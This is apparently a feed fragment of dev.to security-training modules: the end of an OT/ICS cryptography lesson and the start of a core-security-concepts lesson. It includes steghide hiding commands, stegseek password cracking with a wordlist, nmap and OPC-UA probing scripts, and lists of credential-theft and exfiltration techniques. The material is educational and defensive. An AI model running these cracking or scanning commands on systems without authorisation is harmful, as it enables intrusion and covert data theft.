&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Offensive uses:
  Data exfiltration: hide stolen data in images uploaded to social media
  C2 communication: hide commands in public social media posts/images
  Malware delivery: embed malware in documents, images

  Real examples:
  Turla APT (2019): hid C2 commands in comments on Britney Spears' Instagram posts
  Duqu malware: used custom steganography to exfiltrate data
  Multiple APT groups: use image steganography for C2 communications

Defensive considerations:
  DLP systems must inspect image content, not just file type
  Network monitoring must analyse payload patterns, not just protocols
  Outbound traffic should be analysed for steganographic channels
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Steganography in practice:&lt;/span&gt;

&lt;span class="c"&gt;# steghide — hide data in JPEG/BMP/WAV/AU:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;steghide

&lt;span class="c"&gt;# Hide a file in an image:&lt;/span&gt;
steghide embed &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-cf&lt;/span&gt; photo.jpg &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Cover file (the innocent-looking carrier)&lt;/span&gt;
    &lt;span class="nt"&gt;-sf&lt;/span&gt; secret.txt &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Secret file to hide&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"stegopassword"&lt;/span&gt;           &lt;span class="c"&gt;# Passphrase (encrypts the hidden data)&lt;/span&gt;

&lt;span class="c"&gt;# Extract hidden data:&lt;/span&gt;
steghide extract &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-sf&lt;/span&gt; photo.jpg &lt;span class="se"&gt;\ &lt;/span&gt;             &lt;span class="c"&gt;# Stego file&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"stegopassword"&lt;/span&gt;           &lt;span class="c"&gt;# Passphrase&lt;/span&gt;
&lt;span class="c"&gt;# Extracts secret.txt if passphrase correct&lt;/span&gt;

&lt;span class="c"&gt;# stegseek — fast steghide password cracker:&lt;/span&gt;
stegseek photo.jpg /usr/share/wordlists/rockyou.txt

&lt;span class="c"&gt;# zsteg — detect LSB steganography in PNG/BMP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;gem &lt;span class="nb"&gt;install &lt;/span&gt;zsteg
zsteg suspicious_image.png       &lt;span class="c"&gt;# Detect hidden data&lt;/span&gt;
zsteg &lt;span class="nt"&gt;-a&lt;/span&gt; suspicious_image.png    &lt;span class="c"&gt;# Try all methods&lt;/span&gt;

&lt;span class="c"&gt;# binwalk — find embedded files in any binary:&lt;/span&gt;
binwalk suspicious_file.jpg      &lt;span class="c"&gt;# Shows embedded files&lt;/span&gt;
binwalk &lt;span class="nt"&gt;-e&lt;/span&gt; suspicious_file.jpg   &lt;span class="c"&gt;# Extract embedded files&lt;/span&gt;

&lt;span class="c"&gt;# exiftool — check metadata (stego sometimes in EXIF):&lt;/span&gt;
exiftool photo.jpg | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;  &lt;span class="c"&gt;# All metadata&lt;/span&gt;
exiftool &lt;span class="nt"&gt;-all&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; clean_photo.jpg     &lt;span class="c"&gt;# Strip ALL metadata&lt;/span&gt;

&lt;span class="c"&gt;# Detect LSB steganography with statistical analysis:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from PIL import Image
import numpy as np

def detect_lsb_stego(filename):
    img = Image.open(filename)
    pixels = np.array(img)

    # Get all LSBs
    lsbs = pixels &amp;amp; 1  # Extract LSB of each channel

    # Calculate expected vs actual distribution
    # In a natural image, LSBs should be ~50% 0, ~50% 1
    # LSB steganography makes it exactly 50% (or different pattern)
    ratio = lsbs.mean()
    print(f"LSB distribution: {ratio:.4f} (natural: ~0.5, suspicious: exactly 0.5)")

    # Chi-square test
    n = lsbs.size
    observed_0 = np.sum(lsbs == 0)
    observed_1 = np.sum(lsbs == 1)
    expected = n / 2
    chi_sq = ((observed_0 - expected)**2 + (observed_1 - expected)**2) / expected
    print(f"Chi-square: {chi_sq:.2f} (low value suggests steganography)")

detect_lsb_stego("photo.jpg")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Steganography's power is deniability — the carrier file appears innocent. Sophisticated APT groups use steganography for C2 because the traffic blends with normal image/media traffic. Defence requires content inspection (not just metadata), statistical analysis of image entropy, and anomaly detection on upload/download patterns. In incident response, always check media files for embedded content.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. Cryptography in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 The Cryptography Gap in OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;State of cryptography in OT/ICS (2024):

No cryptography at all:
  Modbus TCP: no authentication, no integrity, no confidentiality
  DNP3 (baseline): no cryptography (SAv5 adds authentication)
  PROFIBUS: no cryptography
  BACnet: no cryptography in baseline

Why no cryptography:
  1. Designed in 1970s-1980s before network security was a concern
  2. CPU constraints: embedded PLCs lack processing power for crypto
  3. Latency constraints: crypto processing adds microseconds-milliseconds
     unacceptable for hard real-time control loops
  4. Legacy infrastructure: millions of deployed devices cannot be updated
  5. Vendor lock-in: vendors slow to implement standard crypto

Real consequence:
  Any device on the OT network segment can:
  - Read all sensor values (passive Modbus scan)
  - Write to any register/coil (change setpoints, open/close valves)
  - Replay captured commands (repeat a previous command)
  - Inject false commands (fabricate Modbus function codes)
  With no authentication required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14.2 Where Cryptography Exists in OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEC 62351 — Security for IEC 61850 and IEC 60870-5-104:
  62351-3: TLS for MMS, ICCP
  62351-4: Authentication for ICCP
  62351-5: Authentication for DNP3 and IEC 60870-5-101/104
  62351-6: GOOSE and Sampled Values authentication (AES-GMAC)
  62351-8: Role-based access control

  Adoption: low — implementation is complex, vendor support varies

OPC-UA Security:
  OPC-UA has built-in security: authentication, signing, encryption
  MessageSecurityMode: None, Sign, SignAndEncrypt
  Sign: Integrity protection (HMAC)
  SignAndEncrypt: Integrity + Confidentiality (AES-256-CBC)
  Certificates: X.509 certificates for server/client authentication

  This is the correct model for new OT deployments
  OPC-UA adoption growing — replacing older proprietary protocols

WirelessHART / ISA100.11a:
  AES-128 encryption for wireless industrial sensors
  CCM (Counter with CBC-MAC) mode — authenticated encryption
  Key management: join keys, session keys

DNP3 Secure Authentication v5 (SAv5):
  HMAC-based challenge-response authentication
  Prevents command injection for DNP3
  Adoption: some power utilities (NERC CIP drives adoption)

IEC 61850 GOOSE Security (IEC 62351-6):
  GOOSE messages authenticated with AES-GMAC
  Prevents forged protection relay commands
  Deployment: rare — latency constraints challenged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14.3 TLS in OT Environments
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS deployment challenges in OT:

Certificate management:
  OT devices have long lifespans (10-20 years)
  Annual TLS certificate renewal cycles require:
    - Update process that doesn't interrupt operation
    - Certificate lifecycle management tooling
    - Operator training
  Many OT environments have no process for this

TLS versions on legacy OT:
  Windows CE, Windows XP embedded: support TLS 1.0 only (deprecated)
  Cannot be upgraded without replacing hardware
  Solution: TLS termination proxy (modern TLS toward IT, legacy toward OT device)

Self-signed certificates in OT:
  OT environments often cannot access internet PKI
  Internal CA or self-signed certificates used
  Risk: No validation possible without PKI

TLS for OT communication:
  OPC-UA → TLS 1.2/1.3 for secure machine-to-machine
  Remote access → TLS VPN or TLS-based remote access (not Telnet!)
  Historian → TLS for HTTPS data access from IT

Certificate pinning in OT:
  OT systems can pin specific certificates
  Prevents MITM even with compromised CA
  Requires careful management for certificate rotation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Cryptography assessment in OT networks:&lt;/span&gt;

&lt;span class="c"&gt;# Check if OT protocols are running without encryption:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'port 502 or port 20000 or port 2404 or port 44818'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# If you see traffic: those protocols running in cleartext&lt;/span&gt;

&lt;span class="c"&gt;# Check if OPC-UA is using TLS:&lt;/span&gt;
&lt;span class="c"&gt;# Port 4840 = OPC-UA (unencrypted baseline)&lt;/span&gt;
&lt;span class="c"&gt;# Port 4843 = OPC-UA with TLS&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4840,4843 192.168.1.0/24 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Test TLS on industrial historian or HMI:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; historian-server:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Protocol|Cipher|Verify"&lt;/span&gt;
&lt;span class="c"&gt;# Look for TLS 1.0/1.1 (deprecated) or weak cipher suites&lt;/span&gt;

&lt;span class="c"&gt;# Check IEC 62351 GOOSE authentication (wireshark):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: goose&lt;/span&gt;
&lt;span class="c"&gt;# Check if Security Level &amp;gt; 0 in GOOSE PDU&lt;/span&gt;
&lt;span class="c"&gt;# Security Level 0 = no authentication (vulnerable)&lt;/span&gt;

&lt;span class="c"&gt;# Audit OPC-UA security mode:&lt;/span&gt;
&lt;span class="c"&gt;# Using open62541 or other OPC-UA client:&lt;/span&gt;
&lt;span class="c"&gt;# python-opcua:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
try:
    from opcua import Client
    client = Client("opc.tcp://192.168.1.100:4840")
    client.connect()
    # If connected without security: no encryption or authentication
    security_mode = client.get_attribute(1, "SecurityMode")
    print(f"Security Mode: {security_mode}")
    # 1 = None (no security!)
    # 2 = Sign
    # 3 = SignAndEncrypt (correct)
    client.disconnect()
except Exception as e:
    print(f"Connection result: {e}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Encoding&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Format conversion (Base64, URL, Hex)&lt;/td&gt;
&lt;td&gt;WAF bypass via encoding, credential exposure in Basic Auth&lt;/td&gt;
&lt;td&gt;Decode all input before validation; never confuse with encryption&lt;/td&gt;
&lt;td&gt;OT firmware strings often Base64-encoded in memory dumps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Symmetric Encryption&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same key encrypts and decrypts&lt;/td&gt;
&lt;td&gt;Brute force key, weak cipher (DES/3DES), ECB mode patterns&lt;/td&gt;
&lt;td&gt;AES-256-GCM; never ECB; unique random IV per message&lt;/td&gt;
&lt;td&gt;AES-128-CCM in WirelessHART; OT devices often lack AES-NI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AES&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SPN, 10-14 rounds, 128-bit blocks&lt;/td&gt;
&lt;td&gt;Side-channel (timing, cache); implementation attacks only&lt;/td&gt;
&lt;td&gt;AES-256-GCM standard; hardware AES-NI; protect key material&lt;/td&gt;
&lt;td&gt;AES-128 in WirelessHART; AES-256 for historian data at rest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DES/3DES&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;56-bit/112-bit Feistel; BROKEN&lt;/td&gt;
&lt;td&gt;DES: brute force in minutes; 3DES: SWEET32 birthday attack&lt;/td&gt;
&lt;td&gt;Eliminate; replace with AES-256&lt;/td&gt;
&lt;td&gt;Legacy payment systems in OT; force replacement schedule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RSA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Integer factorisation; public/private keys&lt;/td&gt;
&lt;td&gt;PKCS1v15 padding oracle (ROBOT 2017); short keys (ROCA)&lt;/td&gt;
&lt;td&gt;RSA-2048 minimum; RSA-PSS padding; prefer ECDH&lt;/td&gt;
&lt;td&gt;TLS certificates for OT historian, OPC-UA servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ECC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Elliptic curve discrete log; ECDHE&lt;/td&gt;
&lt;td&gt;Weak curve parameters (NIST distrust); ECDSA k reuse&lt;/td&gt;
&lt;td&gt;Curve25519/P-256; always random k in ECDSA&lt;/td&gt;
&lt;td&gt;OPC-UA certificates; preferred over RSA for constrained devices&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Diffie-Hellman&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;g^ab mod p shared secret without transmitting&lt;/td&gt;
&lt;td&gt;Logjam (512-bit precomputed); discrete log for weak params&lt;/td&gt;
&lt;td&gt;ECDHE; 2048-bit minimum DH; forward secrecy&lt;/td&gt;
&lt;td&gt;ECDHE in OPC-UA TLS; enables forward secrecy for OT sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MD5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;128-bit Merkle-Damgård; BROKEN&lt;/td&gt;
&lt;td&gt;Collision (2009); forged CA cert (Flame 2012)&lt;/td&gt;
&lt;td&gt;SHA-256 minimum; MD5 acceptable only for non-security deduplication&lt;/td&gt;
&lt;td&gt;Legacy OT firmware checksums use MD5; identify and flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA-1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;160-bit; BROKEN&lt;/td&gt;
&lt;td&gt;SHAttered collision (2017, $100K); chosen-prefix 2020&lt;/td&gt;
&lt;td&gt;SHA-256 minimum&lt;/td&gt;
&lt;td&gt;OT firmware updates still using SHA-1; critical finding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA-256/SHA-3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;256-bit; SECURE&lt;/td&gt;
&lt;td&gt;No practical attack known&lt;/td&gt;
&lt;td&gt;SHA-256 standard; SHA-3 for diversity&lt;/td&gt;
&lt;td&gt;Use for firmware integrity verification in OT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Salt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Random per-password value; defeats rainbow tables&lt;/td&gt;
&lt;td&gt;Without salt: precomputed table attack&lt;/td&gt;
&lt;td&gt;16+ byte CSPRNG salt; unique per password; store with hash&lt;/td&gt;
&lt;td&gt;Hash-based authentication tokens in OT systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pepper&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secret application-level addition to password&lt;/td&gt;
&lt;td&gt;Requires app server compromise in addition to DB breach&lt;/td&gt;
&lt;td&gt;256-bit CSPRNG; store in HSM or config separate from DB&lt;/td&gt;
&lt;td&gt;HMI application authentication secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;bcrypt/Argon2id&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Intentionally slow; work factor&lt;/td&gt;
&lt;td&gt;GPU cracking; requires work to crack even with hash&lt;/td&gt;
&lt;td&gt;Argon2id (time=3, mem=64MB); bcrypt (rounds≥12)&lt;/td&gt;
&lt;td&gt;SCADA operator passwords; HMI authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Digital Signatures&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hash + asymmetric sign; auth + integrity + non-repudiation&lt;/td&gt;
&lt;td&gt;Key theft; PS3/Android k reuse; PKCS1v15 forgery&lt;/td&gt;
&lt;td&gt;ECDSA with random k; Ed25519; RSA-PSS&lt;/td&gt;
&lt;td&gt;IEC 62351 signing of GOOSE messages; OTA firmware signing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PKI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Certificate chains; CA trust anchor&lt;/td&gt;
&lt;td&gt;Rogue CA (MD5 collision 2008); misissued certs&lt;/td&gt;
&lt;td&gt;CAA DNS records; CT monitoring; short-lived certs&lt;/td&gt;
&lt;td&gt;OPC-UA PKI; internal CA for OT certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asymmetric key exchange → symmetric data encryption&lt;/td&gt;
&lt;td&gt;Heartbleed, BEAST, POODLE, FREAK, Logjam, ROBOT&lt;/td&gt;
&lt;td&gt;TLS 1.3 minimum; ECDHE only; AEAD ciphers; HSTS&lt;/td&gt;
&lt;td&gt;TLS for OT historian, remote access, OPC-UA; never Telnet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS Handshake&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ClientHello/ServerHello → key exchange → application data&lt;/td&gt;
&lt;td&gt;Downgrade attack; session hijack; MITM (no cert validation)&lt;/td&gt;
&lt;td&gt;Certificate pinning; HSTS; validate full chain; TLS 1.3&lt;/td&gt;
&lt;td&gt;OT remote access must validate server certificates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cryptographic Randomness&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CSPRNG; entropy sources; unpredictable output&lt;/td&gt;
&lt;td&gt;Predictable seed (DUHK 2017); entropy starvation; ECDSA k&lt;/td&gt;
&lt;td&gt;/dev/urandom; secrets module; hardware RNG; haveged for VMs&lt;/td&gt;
&lt;td&gt;First-boot key generation in OT devices; entropy starvation risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Steganography&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hidden data in carrier files&lt;/td&gt;
&lt;td&gt;Data exfiltration; C2 in social media images (Turla APT)&lt;/td&gt;
&lt;td&gt;Content inspection; outbound media analysis; StegExpose&lt;/td&gt;
&lt;td&gt;ICMP tunnel C2 in OT networks; detect with payload analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-2.3-iam.md"&gt;Stage 2.3 — Identity and Access Management&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-2.1-core-concepts.md"&gt;Stage 2.1 — Core Security Concepts&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 2 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>programming</category>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
    </item>
    <item>
      <title>Stage 2.1 — Core Security Concepts</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 14 Jun 2026 07:11:05 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-21-core-security-concepts-2cfc</link>
      <guid>https://dev.to/rencberakman/stage-21-core-security-concepts-2cfc</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 2 — Cybersecurity Core&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 2.1 — Core Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1 — Network Fundamentals (all modules)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 2.2 — Cryptography&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Core Concepts Are the Foundation of Every Security Decision&lt;/li&gt;
&lt;li&gt;CIA Triad — Confidentiality, Integrity, Availability&lt;/li&gt;
&lt;li&gt;Authentication — Proving Identity&lt;/li&gt;
&lt;li&gt;Authorization — Granting Permission&lt;/li&gt;
&lt;li&gt;Access Control — Enforcing Decisions&lt;/li&gt;
&lt;li&gt;AAA Model — Authentication, Authorization, Accounting&lt;/li&gt;
&lt;li&gt;Risk, Threat, Vulnerability, Attack — Precise Definitions&lt;/li&gt;
&lt;li&gt;Threat Actor Types&lt;/li&gt;
&lt;li&gt;Attack Surface&lt;/li&gt;
&lt;li&gt;Defence in Depth&lt;/li&gt;
&lt;li&gt;Least Privilege Principle&lt;/li&gt;
&lt;li&gt;Separation of Duties&lt;/li&gt;
&lt;li&gt;Zero Trust Model&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Core Concepts Are the Foundation of Every Security Decision
&lt;/h2&gt;

&lt;p&gt;Security tools change. Vendors come and go. Vulnerabilities are patched. Attack techniques evolve. But the conceptual framework underlying every security decision — why something is secure or insecure, who should have access to what, how trust is established, what constitutes acceptable risk — remains constant. Professionals who understand these concepts at a deep level make better decisions faster, in situations they have never encountered before.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of how concept failures cause real breaches:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target (2013) — CIA and Least Privilege failure:&lt;/strong&gt; The breach began through an HVAC vendor who had network access for remote monitoring. Proper network segmentation (a CIA-Availability/Integrity control) would have contained vendor access to HVAC systems only. Instead, the vendor's access reached the point-of-sale network. 40 million payment card records were compromised. The CIA triad concept, properly applied, would have mandated isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SolarWinds SUNBURST (2020) — Integrity failure:&lt;/strong&gt; The attackers compromised the SolarWinds build pipeline and inserted malicious code into legitimate, digitally signed software updates. 18,000 organisations installed the malicious update. This was a supply chain integrity attack — the update appeared authentic, was signed with a legitimate certificate, but contained a backdoor. Integrity controls on the build process (code signing with hardware-bound keys, build pipeline monitoring) were insufficient.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Colonial Pipeline (2021) — Availability and Zero Trust failure:&lt;/strong&gt; Ransomware encrypted systems and Colonial shut down pipeline operations proactively. The initial access was via a compromised VPN account with no MFA. A Zero Trust approach would have required MFA, device health verification, and continuous validation — not just "valid credentials = full access." The Availability impact was $4.4 million in ransom and fuel shortages across the US East Coast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS — Stuxnet (2010) — All three CIA pillars targeted:&lt;/strong&gt; Stuxnet attacked Confidentiality (covert operation hidden from operators), Integrity (false data sent to SCADA while centrifuges were physically destroyed), and Availability (centrifuges rendered inoperable). Understanding which CIA pillar an attack targets immediately tells you the appropriate defensive response.&lt;/p&gt;

&lt;p&gt;These were not tool failures. They were conceptual failures — wrong assumptions about trust, access, identity, and risk. This module corrects those assumptions from first principles.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. CIA Triad — Confidentiality, Integrity, Availability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Framework
&lt;/h3&gt;

&lt;p&gt;The CIA Triad is the foundational model of information security. Every security control, every policy, every architectural decision can be mapped to protecting one or more of its three properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        Confidentiality
             /\
            /  \
           /    \
          /      \
         /________\
  Integrity      Availability

Each property protects a different aspect of information:
  Confidentiality: Who can SEE the information
  Integrity:       Who can CHANGE the information, and whether it has been changed
  Availability:    Whether the information/system can be ACCESSED when needed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Confidentiality
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that information is accessible only to those authorised to access it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; Information has value. That value is often reduced or destroyed when it reaches parties who should not have it — competitors, attackers, regulators, the public. Confidentiality controls limit who can access information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Encryption (at rest: disk encryption, at transit: TLS)&lt;/li&gt;
&lt;li&gt;Access controls (authentication + authorisation)&lt;/li&gt;
&lt;li&gt;Physical security (who can reach the hardware)&lt;/li&gt;
&lt;li&gt;Data classification (categorising information by sensitivity)&lt;/li&gt;
&lt;li&gt;Need-to-know principle (access only to what the role requires)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How confidentiality is attacked:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack methods targeting confidentiality:

Eavesdropping: 
  Wireshark/tcpdump on shared medium
  ARP spoofing + MITM
  Wireless sniffing (WEP cracking, evil twin)

Credential theft:
  Phishing (social engineering for passwords)
  Keylogging (capture as user types)
  Mimikatz (extract from Windows memory)
  Pass-the-hash (use credential hash without knowing plaintext)

Data exfiltration:
  DNS tunnelling (exfiltrate via DNS queries)
  HTTPS C2 (exfiltrate over encrypted channels)
  Cloud storage abuse (upload to Dropbox/Google Drive)
  Physical media (USB drives)

Inference attacks:
  Machine learning on metadata (who communicates with whom)
  Traffic analysis (even encrypted traffic reveals patterns)
  Timing attacks (response time reveals information)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Measuring confidentiality failure:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data classification level of exposed data&lt;/li&gt;
&lt;li&gt;Number of records exposed&lt;/li&gt;
&lt;li&gt;Regulatory exposure (GDPR, HIPAA, PCI-DSS)&lt;/li&gt;
&lt;li&gt;Time data was exposed before detection&lt;/li&gt;
&lt;/ul&gt;

